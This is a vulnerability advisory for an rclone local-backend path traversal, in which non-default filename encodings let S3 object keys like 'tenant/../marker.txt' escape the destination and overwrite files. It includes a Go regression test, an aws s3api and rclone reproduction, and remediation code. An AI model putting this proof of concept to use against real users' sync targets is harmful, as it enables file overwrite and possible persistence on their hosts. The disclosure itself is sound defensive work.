rclone EUVD-2026-53643

Summary

The local backend relies on its configurable filename encoder to prevent remote filename data from becoming operating-system path syntax. If a local destination uses an encoding that omits Dot, such as Slash, None, or Raw, a remote object's standard-encoded ．． component is decoded into an actual .. component. backend/local.localPath then passes the decoded name to filepath.Join, which resolves the component and produces a path outside the configured local root.

An attacker who can create object names in a remote source that a victim copies or synchronizes to such a local destination can create or overwrite files outside the selected destination directory, with the permissions of the rclone process.

The default local encoding includes Dot and is not affected by that exact path. This finding requires a non-default local encoding that preserves filesystem path syntax. On Windows, a second confirmed form uses a preserved backslash to turn a remote filename into a native ..\file path even when the destination encoding still includes Dot.

This is not merely an odd filename-conversion result. The local remote's configured root is the destination selected by the user, and ordinary backend operations are expected to remain within it. Rclone documents custom and Raw encodings as filename-conversion controls; it does not document them as an opt-out from destination confinement. The defect is that confinement depends on an encoding mask instead of an independent post-conversion path check.

Affected Assets & Attack Surface

Confirmed affected versions

• v1.51.0 through v1.74.4
• Local development commit tested: a0c09f1381ae93e2a9a33c529d170186c61ad058
• Public master inspected through commit c99b2d11edb0986cd2b1190e9fa25a58a3f12661 (2026-07-23)

v1.51.0 introduced the configurable encoding option for the local backend. Encodings such as None or Slash could omit Dot from that version onward. The explicit Raw encoding was introduced later, in v1.68.0.

Required destination configuration

The destination is a local backend whose effective encoding does not safely encode . and .. components. Examples include:

--local-encoding Slash
--local-encoding None
--local-encoding Raw

The first PoC below uses Slash. Default configurations are not affected because the platform-specific encoder.OS masks include Dot.

On Windows, custom encodings that omit BackSlash can introduce an additional traversal form: an object-key component such as ..\marker.txt can become a native path separator plus .., even if the encoding still contains Dot. The fix therefore should enforce containment after conversion to the native path format rather than only require the Dot flag.

Attacker-controlled input

The relevant input is an object name returned by a source backend. The confirmed source case is S3:

• backend/s3/s3.go:2554 converts raw object keys to rclone's standard path representation with f.opt.Enc.ToStandardPath.
• A raw .. component becomes the standard component ．．.
• When the destination local encoder omits Dot, FromStandardPath decodes ．． back to ...

Amazon S3 permits relative path components when their left-to-right cumulative count does not exceed the preceding non-relative components. Consequently, an object named:

tenant/../marker.txt

is valid. When the victim's source remote is rooted at bucket/tenant/, the relative object name becomes ../marker.txt before standard encoding. A malicious S3-compatible endpoint can return equivalent keys without relying on Amazon S3.

Reachable operations

The unsafe path resolver is used throughout the local backend, including:

• backend/local/local.go:798 - localPath
• backend/local/local.go:803 - Put
• backend/local/local.go:979 - Move
• backend/local/local.go:1534 - Object.Update
• backend/local/local.go:1747 - Object.Remove
• Local directory creation and object lookup operations that call localPath

Normal copy and synchronization propagate the source name to the destination:

• fs/sync/sync.go:518 passes src.Remote() to operations.Copy.
• fs/operations/copy.go:390 uses that remote name for destination Put or Update.

Commands that copy attacker-controlled source objects to a local destination are therefore in scope, including copy, sync, and move.

Technical Root Cause Analysis

Rclone represents backend filenames using its standard encoding. lib/encoder/standard.go defines encoder.Standard with EncodeDot, causing raw names equal to . or .. to be represented by fullwidth characters:

.   -> ．
..  -> ．．

When a standard path is converted for a destination backend, lib/encoder/encoder.go:1214-1240 performs the following transformation for every path component:

func FromStandardName(e Encoder, s string) string {
	if e == Standard {
		return s
	}
	return e.Encode(Standard.Decode(s))
}

For a destination encoding that omits Dot:

1. Standard.Decode("．．") returns "..".
2. The destination encoder leaves ".." unchanged.
3. FromStandardPath returns a path containing an actual parent-directory component.

The local backend then constructs the native path without validating containment:

func (f *Fs) localPath(name string) string {
	return filepath.Join(f.root, filepath.FromSlash(f.opt.Enc.FromStandardPath(name)))
}

filepath.Join cleans the resulting path. For example:

root:    /tmp/destination
name:    ../marker.txt
result:  /tmp/marker.txt

Put creates an object from src.Remote(), and Object.Update eventually opens that resolved path using:

os.O_WRONLY | os.O_CREATE | os.O_TRUNC

There is no subsequent filepath.Rel check, anchored filesystem operation, or rejection of an absolute, volume-qualified, . or .. result.

The default encoder masks the defect because it re-encodes .. as a literal fullwidth directory name. That is not a sufficient security boundary: the encoding is explicitly configurable, including an officially documented Raw value that disables conversion.

The local backend contains an existing os.Root mechanism used while translating symlinks, but ordinary local writes do not use it. In the default non---links mode, mkdirAll, openFile, rename, and remove operations use ordinary filesystem paths.

Proof of Concept & Evidence

Deterministic regression test

Add the following test to the backend/local package. It requires no external storage service. It uses S3's actual default encoding mask to construct the same standard Remote() value that an S3 key with a relative .. component produces.

package local

import (
	"bytes"
	"context"
	"os"
	"path/filepath"
	"strings"
	"testing"
	"time"

	"github.com/rclone/rclone/fs/config/configmap"
	"github.com/rclone/rclone/fs/object"
	"github.com/rclone/rclone/lib/encoder"
	"github.com/stretchr/testify/require"
)

func TestLocalEncodingWithoutDotEscapesRoot(t *testing.T) {
	ctx := context.Background()
	outer := t.TempDir()

	// S3's default encoder converts a raw ".." object-key component
	// into rclone's standard fullwidth representation.
	s3Encoding := encoder.EncodeInvalidUtf8 | encoder.EncodeSlash | encoder.EncodeDot
	remote := s3Encoding.ToStandardPath("../marker.txt")
	require.NotEqual(t, "../marker.txt", remote)

	// The default local encoding includes Dot and keeps the path confined.
	safeRaw, err := NewFs(ctx, "safe", filepath.Join(outer, "safe"),
		configmap.Simple{"encoding": encoder.OS.String()})
	require.NoError(t, err)
	safe := safeRaw.(*Fs)
	rel, err := filepath.Rel(safe.root, safe.localPath(remote))
	require.NoError(t, err)
	require.False(t,
		rel == ".." ||
			strings.HasPrefix(rel, ".."+string(filepath.Separator)))

	// Removing Dot converts the same component to a real "..".
	unsafeRaw, err := NewFs(ctx, "unsafe", filepath.Join(outer, "destination"),
		configmap.Simple{"encoding": "Slash"})
	require.NoError(t, err)
	unsafe := unsafeRaw.(*Fs)

	// Place an existing file outside the configured destination.
	escaped := filepath.Join(filepath.Dir(unsafe.root), "marker.txt")
	require.NoError(t, os.WriteFile(escaped, []byte("original"), 0600))

	payload := "attacker-controlled"
	src := object.NewStaticObjectInfo(
		remote, time.Now(), int64(len(payload)), true, nil, nil)

	_, err = unsafe.Put(ctx, bytes.NewBufferString(payload), src)
	require.NoError(t, err)

	got, err := os.ReadFile(escaped)
	require.NoError(t, err)
	require.Equal(t, payload, string(got))
}

Run:

go test ./backend/local -run '^TestLocalEncodingWithoutDotEscapesRoot$' -count=1 -v

Observed result against commit a0c09f1381ae93e2a9a33c529d170186c61ad058:

=== RUN   TestLocalEncodingWithoutDotEscapesRoot
--- PASS: TestLocalEncodingWithoutDotEscapesRoot
PASS

The test establishes both sides of the issue:

• The default local encoding keeps the generated path under the root.
• encoding=Slash causes Put to overwrite a pre-existing file outside the root.

Confirmed Windows backslash variant

A second regression test was run on Windows using the standard remote name:

..\backslash-marker.txt

and a local destination configured with:

encoding = Slash,Dot

This mask retains Dot, so it is not vulnerable to the fullwidth-dot decoding sequence above, but it omits BackSlash. FromStandardPath consequently preserves the backslash; after native conversion, filepath.Join interprets it as a separator and resolves the preceding ... Calling Put overwrote a marker next to the destination root. The test passed on Windows/amd64 against commit a0c09f138.

This variant demonstrates why rejecting only configurations that omit Dot is incomplete. The security check must run after conversion to the platform's native path representation.

S3 command-line reproduction

Perform this test only with a disposable bucket and temporary local paths.

printf 'attacker-controlled\n' > payload.txt

aws s3api put-object \
  --bucket "$BUCKET" \
  --key 'tenant/../rclone-traversal-marker.txt' \
  --body payload.txt

rm -rf /tmp/rclone-destination
rm -f /tmp/rclone-traversal-marker.txt
mkdir -p /tmp/rclone-destination

rclone copy \
  "s3remote:${BUCKET}/tenant/" \
  /tmp/rclone-destination \
  --local-encoding Slash \
  -vv

test ! -e /tmp/rclone-destination/rclone-traversal-marker.txt
test -f /tmp/rclone-traversal-marker.txt
grep -F 'attacker-controlled' /tmp/rclone-traversal-marker.txt

Expected result:

/tmp/rclone-traversal-marker.txt

is created outside:

/tmp/rclone-destination

The S3 key is rooted under the string prefix tenant/, so it is returned by a listing of that prefix. Rclone preserves its logical .. component using standard encoding until the custom local destination encoder decodes it.

Impact Assessment

The direct impact is creation or overwrite of files outside the configured local destination as the rclone process user.

Realistic consequences include:

• Destruction or corruption of files accessible to the rclone account.
• Modification of user startup files, application configuration, service data, or executable search paths.
• Possible persistence or code execution in the rclone user's security context if the attacker can target a file that another component subsequently executes or loads.
• Greater host impact when rclone runs as a privileged backup, synchronization, container, or system service account.

Default local configurations are protected from the demonstrated .. component by Dot encoding. The required non-default encoding materially reduces exploitability but does not make the behavior safe or expected: disabling filename conversion should cause unrepresentable names to fail, not reinterpret an object name as a path outside the selected destination.

Remediation Guidance

Enforce containment after native-path conversion

The primary fix should be in the local backend, after FromStandardPath and filepath.FromSlash have produced the native path. Security must not depend on any particular encoding mask.

Refactor localPath, or introduce a checked equivalent, so it can return an error. The check should:

1. Convert the standard remote name using the configured local encoding.
2. Convert separators to the native format.
3. Reject any non-empty result for which filepath.IsLocal is false. This rejects absolute, volume-qualified, and lexically escaping paths using platform-aware rules.
4. Join the result to f.root.
5. Calculate filepath.Rel(f.root, candidate) using the normalized f.root, not the original user-supplied root string.
6. Reject rel == "..", any relative path beginning with ".." + filepath.Separator, and any absolute relative result.

Illustrative logic:

func (f *Fs) checkedLocalPath(remote string) (string, error) {
	native := filepath.FromSlash(f.opt.Enc.FromStandardPath(remote))

	// Some root-level backend operations legitimately resolve the empty name.
	if native != "" && !filepath.IsLocal(native) {
		return "", fmt.Errorf("invalid local object path %q: not a local relative path", remote)
	}

	candidate := filepath.Join(f.root, native)
	rel, err := filepath.Rel(f.root, candidate)
	if err != nil {
		return "", fmt.Errorf("invalid local object path %q: %w", remote, err)
	}
	if filepath.IsAbs(rel) ||
		rel == ".." ||
		strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
		return "", fmt.Errorf("local object path %q escapes the configured root", remote)
	}
	return candidate, nil
}

This is illustrative rather than a complete patch. The implementation should account for the local backend's Windows UNC normalization and return an existing rclone path-validation error type if one is available.

A naive string-prefix comparison must not be used because paths such as /root-other share a textual prefix with /root. filepath.IsLocal protects the decoded relative name, while the independent filepath.Rel check verifies the final candidate against the normalized root. Retaining both makes the intended invariant explicit.

Apply the check to every local filesystem entry point

The checked resolver must protect all operations that accept an fs remote name, not only Put. At minimum, review and update:

• NewObject and object construction.
• Put, PutStream, and Update.
• Mkdir, Rmdir, and directory metadata operations.
• Move, DirMove, and copy/rename helpers.
• Remove and cleanup of failed or partial transfers.
• Metadata and hash operations that resolve a remote name to a local path.

If changing localPath to return an error is impractical, validate the decoded path before constructing an Object or Directory and ensure no public backend operation can reach the unchecked helper.

Consider anchored filesystem operations

The existing os.Root support in backend/local/local.go rejects paths that escape its root and may be reusable. Applying anchored operations to all local mutations would provide stronger protection against both lexical traversal and symlink races.

This requires compatibility review: ordinary local copies currently may intentionally follow pre-existing destination symlinks when symlink translation is disabled. A lexical containment check can fix this finding without changing that behavior, whereas applying os.Root universally may intentionally prevent writes through symlinks that point outside the root.